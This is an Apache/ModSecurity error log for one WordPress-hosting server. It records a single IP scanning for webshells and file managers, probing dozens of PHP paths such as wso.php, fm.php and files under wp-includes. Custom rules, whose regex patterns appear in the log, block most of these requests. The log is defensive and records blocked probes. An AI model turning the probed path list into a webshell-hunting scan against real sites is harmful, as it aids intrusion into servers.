[Tue Apr 07 21:34:53.393508 2026] [:error] [pid 59551:tid 59576] [client 185.245.82.81:55272] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "adUH_V7LN7Ubyqs-sVshcQAAAZc"]
[Tue Apr 07 21:34:54.170742 2026] [:error] [pid 59551:tid 59567] [client 185.245.82.81:55280] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Tue Apr 07 21:34:54.949088 2026] [:error] [pid 59551:tid 59569] [client 185.245.82.81:55280] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Tue Apr 07 21:34:56.056164 2026] [:error] [pid 59551:tid 59565] [client 185.245.82.81:55280] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Tue Apr 07 21:34:56.313509 2026] [:error] [pid 59551:tid 59553] [client 185.245.82.81:55280] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "adUIAF7LN7Ubyqs-sVshfgAAAYA"]
[Tue Apr 07 21:34:56.824574 2026] [:error] [pid 59804:tid 59814] [client 185.245.82.81:55282] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "adUIAHYVIXiPh5_eJTm62QAAAgg"]
[Tue Apr 07 21:34:57.335358 2026] [:error] [pid 37598:tid 37684] [client 185.245.82.81:55294] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "adUIAe9g7q_cV2WhPazIAwAAAJc"]
[Tue Apr 07 21:34:57.845923 2026] [:error] [pid 37597:tid 37644] [client 185.245.82.81:55306] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "adUIAQ6uAY0QAy-8EEKjVwAAAEo"]
[Tue Apr 07 21:34:58.362318 2026] [:error] [pid 37597:tid 37649] [client 185.245.82.81:55310] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Tue Apr 07 21:34:58.616464 2026] [:error] [pid 37597:tid 37647] [client 185.245.82.81:55310] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "adUIAg6uAY0QAy-8EEKjXAAAAE0"]
[Tue Apr 07 21:34:59.129664 2026] [:error] [pid 12948:tid 12953] [client 185.245.82.81:28659] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "adUIA8beSPAN8LvMqsa6bwAAAQI"]
[Tue Apr 07 21:34:59.648951 2026] [:error] [pid 37598:tid 37679] [client 185.245.82.81:55324] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Tue Apr 07 21:35:00.181526 2026] [:error] [pid 37598:tid 37684] [client 185.245.82.81:55324] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adUIBO9g7q_cV2WhPazIEgAAAJc"]
[Tue Apr 07 21:35:00.696387 2026] [:error] [pid 59804:tid 59829] [client 185.245.82.81:55330] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "adUIBHYVIXiPh5_eJTm65gAAAhc"]
[Tue Apr 07 21:35:01.208109 2026] [:error] [pid 12948:tid 12965] [client 185.245.82.81:55332] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "adUIBcbeSPAN8LvMqsa6cQAAAQ4"]
[Tue Apr 07 21:35:01.718427 2026] [:error] [pid 12948:tid 12955] [client 185.245.82.81:55340] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "adUIBcbeSPAN8LvMqsa6dAAAAQQ"]
[Tue Apr 07 21:35:02.494782 2026] [:error] [pid 37596:tid 37628] [client 185.245.82.81:55352] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "adUIBqpaAOZHEjRWjP2kHQAAABY"]
[Tue Apr 07 21:35:03.529753 2026] [:error] [pid 37596:tid 37630] [client 185.245.82.81:42646] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "adUIB6paAOZHEjRWjP2kIAAAABg"]
[Tue Apr 07 21:35:04.048043 2026] [:error] [pid 37597:tid 37637] [client 185.245.82.81:42654] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Tue Apr 07 21:35:04.838294 2026] [:error] [pid 37597:tid 37643] [client 185.245.82.81:42654] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Tue Apr 07 21:35:05.095562 2026] [:error] [pid 37597:tid 37650] [client 185.245.82.81:42654] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "adUICQ6uAY0QAy-8EEKjcgAAAFA"]
[Tue Apr 07 21:35:05.866009 2026] [:error] [pid 37597:tid 37654] [client 185.245.82.81:42656] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Tue Apr 07 21:35:06.128526 2026] [:error] [pid 37597:tid 37642] [client 185.245.82.81:42656] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Tue Apr 07 21:35:07.420788 2026] [:error] [pid 37597:tid 37639] [client 185.245.82.81:42656] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "adUICw6uAY0QAy-8EEKjegAAAEU"]
[Tue Apr 07 21:35:08.711246 2026] [:error] [pid 37719:tid 37729] [client 185.245.82.81:42664] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "adUIDE09Xv52u2xXGLA6tQAAAMc"]
[Tue Apr 07 21:35:09.225831 2026] [:error] [pid 37598:tid 37667] [client 185.245.82.81:42672] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "adUIDe9g7q_cV2WhPazIFgAAAIY"]
[Tue Apr 07 21:35:11.060027 2026] [:error] [pid 59660:tid 59681] [client 185.245.82.81:42680] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "adUIDzp3-oiX2o5bTswdSgAAAdM"]
[Tue Apr 07 21:35:12.100961 2026] [:error] [pid 59490:tid 59498] [client 185.245.82.81:42684] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Tue Apr 07 21:35:12.365965 2026] [:error] [pid 59490:tid 59514] [client 185.245.82.81:42684] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/install.php
[Tue Apr 07 21:35:12.630792 2026] [:error] [pid 59490:tid 59499] [client 185.245.82.81:42684] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/plugins.php
[Tue Apr 07 21:35:12.891518 2026] [:error] [pid 59490:tid 59511] [client 185.245.82.81:42684] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Tue Apr 07 21:35:14.188563 2026] [:error] [pid 59490:tid 59496] [client 185.245.82.81:42684] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "adUIEkcw8OFbiUZ7Rx1yGgAAAUQ"]
[Tue Apr 07 21:35:14.701085 2026] [:error] [pid 37598:tid 37667] [client 185.245.82.81:37108] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "adUIEu9g7q_cV2WhPazIIgAAAIY"]
[Tue Apr 07 21:35:15.216989 2026] [:error] [pid 59551:tid 59560] [client 185.245.82.81:37120] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "adUIE17LN7Ubyqs-sVshiQAAAYc"]
[Tue Apr 07 21:35:15.726591 2026] [:error] [pid 59551:tid 59558] [client 185.245.82.81:37136] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "adUIE17LN7Ubyqs-sVshjgAAAYU"]
[Tue Apr 07 21:35:16.241422 2026] [:error] [pid 59551:tid 59553] [client 185.245.82.81:37152] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "adUIFF7LN7Ubyqs-sVshkAAAAYA"]
[Tue Apr 07 21:35:16.770627 2026] [:error] [pid 59490:tid 59500] [client 185.245.82.81:37168] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "adUIFEcw8OFbiUZ7Rx1yHQAAAUg"]
[Tue Apr 07 21:35:18.408969 2026] [:error] [pid 37598:tid 37661] [client 185.245.82.81:37174] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "adUIFu9g7q_cV2WhPazIKAAAAIA"]
[Tue Apr 07 21:35:20.471615 2026] [:error] [pid 59490:tid 59504] [client 185.245.82.81:37176] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "adUIGEcw8OFbiUZ7Rx1yIQAAAUw"]
[Tue Apr 07 21:35:20.981899 2026] [:error] [pid 59490:tid 59497] [client 185.245.82.81:37178] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "adUIGEcw8OFbiUZ7Rx1yIgAAAUU"]
[Tue Apr 07 21:35:21.494778 2026] [:error] [pid 37596:tid 37628] [client 185.245.82.81:37194] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "adUIGapaAOZHEjRWjP2kJgAAABY"]
[Tue Apr 07 21:35:22.519492 2026] [:error] [pid 37719:tid 37723] [client 185.245.82.81:37206] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "adUIGk09Xv52u2xXGLA6ywAAAME"]
[Tue Apr 07 21:35:23.295994 2026] [:error] [pid 37719:tid 37733] [client 185.245.82.81:34556] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "adUIG009Xv52u2xXGLA6zQAAAMs"]
[Tue Apr 07 21:35:23.807669 2026] [:error] [pid 59804:tid 59822] [client 185.245.82.81:34564] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Tue Apr 07 21:35:24.325270 2026] [:error] [pid 59804:tid 59811] [client 185.245.82.81:34564] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "adUIHHYVIXiPh5_eJTm69AAAAgU"]
[Tue Apr 07 21:35:25.350844 2026] [:error] [pid 37597:tid 37638] [client 185.245.82.81:34568] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "adUIHQ6uAY0QAy-8EEKjtQAAAEQ"]
[Tue Apr 07 21:35:26.393718 2026] [:error] [pid 37597:tid 37656] [client 185.245.82.81:34580] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Tue Apr 07 21:35:26.651987 2026] [:error] [pid 37597:tid 37653] [client 185.245.82.81:34580] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "adUIHg6uAY0QAy-8EEKjwwAAAFM"]
[Tue Apr 07 21:35:27.434683 2026] [:error] [pid 12948:tid 12960] [client 185.245.82.81:34590] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Tue Apr 07 21:35:27.697717 2026] [:error] [pid 12948:tid 12959] [client 185.245.82.81:34590] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Tue Apr 07 21:35:27.958278 2026] [:error] [pid 12948:tid 12964] [client 185.245.82.81:34590] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Tue Apr 07 21:35:28.215395 2026] [:error] [pid 12948:tid 12963] [client 185.245.82.81:34590] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "adUIIMbeSPAN8LvMqsa6igAAAQw"]
[Tue Apr 07 21:35:28.733398 2026] [:error] [pid 59804:tid 59825] [client 185.245.82.81:34594] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Tue Apr 07 21:35:28.992580 2026] [:error] [pid 59804:tid 59820] [client 185.245.82.81:34594] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "adUIIHYVIXiPh5_eJTm69wAAAg4"]
[Tue Apr 07 21:35:30.032914 2026] [:error] [pid 12948:tid 12961] [client 185.245.82.81:34596] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Tue Apr 07 21:35:30.292753 2026] [:error] [pid 12948:tid 12966] [client 185.245.82.81:34596] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Tue Apr 07 21:35:30.550980 2026] [:error] [pid 12948:tid 12953] [client 185.245.82.81:34596] File does not exist: /usr/local/apache/htdocs/suspended-page/setup.php
[Tue Apr 07 21:35:31.843640 2026] [:error] [pid 12948:tid 12973] [client 185.245.82.81:34596] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Tue Apr 07 21:35:32.101570 2026] [:error] [pid 12948:tid 12960] [client 185.245.82.81:34596] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Tue Apr 07 21:35:32.617628 2026] [:error] [pid 12948:tid 12957] [client 185.245.82.81:34596] File does not exist: /usr/local/apache/htdocs/suspended-page/ab.php
[Tue Apr 07 21:35:33.392698 2026] [:error] [pid 12948:tid 12963] [client 185.245.82.81:34596] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Tue Apr 07 21:35:33.655071 2026] [:error] [pid 12948:tid 12968] [client 185.245.82.81:34596] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "adUIJcbeSPAN8LvMqsa6nQAAARE"]
[Tue Apr 07 21:35:34.167179 2026] [:error] [pid 59551:tid 59559] [client 185.245.82.81:56546] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "adUIJl7LN7Ubyqs-sVsh4QAAAYY"]
[Tue Apr 07 21:35:34.683140 2026] [:error] [pid 59660:tid 59686] [client 185.245.82.81:56552] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Tue Apr 07 21:35:34.939321 2026] [:error] [pid 59660:tid 59677] [client 185.245.82.81:56552] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "adUIJjp3-oiX2o5bTswdWgAAAc8"]
[Tue Apr 07 21:35:35.711435 2026] [:error] [pid 37719:tid 37723] [client 185.245.82.81:56554] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Tue Apr 07 21:35:35.967807 2026] [:error] [pid 37719:tid 37736] [client 185.245.82.81:56554] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "adUIJ009Xv52u2xXGLA67QAAAM4"]
[Tue Apr 07 21:35:36.482534 2026] [:error] [pid 37596:tid 37626] [client 185.245.82.81:56568] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adUIKKpaAOZHEjRWjP2kLQAAABQ"]
[Tue Apr 07 21:35:38.045813 2026] [:error] [pid 59804:tid 59822] [client 185.245.82.81:56570] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adUIKnYVIXiPh5_eJTm7DgAAAhA"]
[Tue Apr 07 21:35:38.556667 2026] [:error] [pid 59551:tid 59573] [client 185.245.82.81:56576] [client 185.245.82.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "adUIKl7LN7Ubyqs-sVsh5wAAAZQ"]
[Tue Apr 07 21:35:39.850855 2026] [:error] [pid 37597:tid 37654] [client 185.245.82.81:56582] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
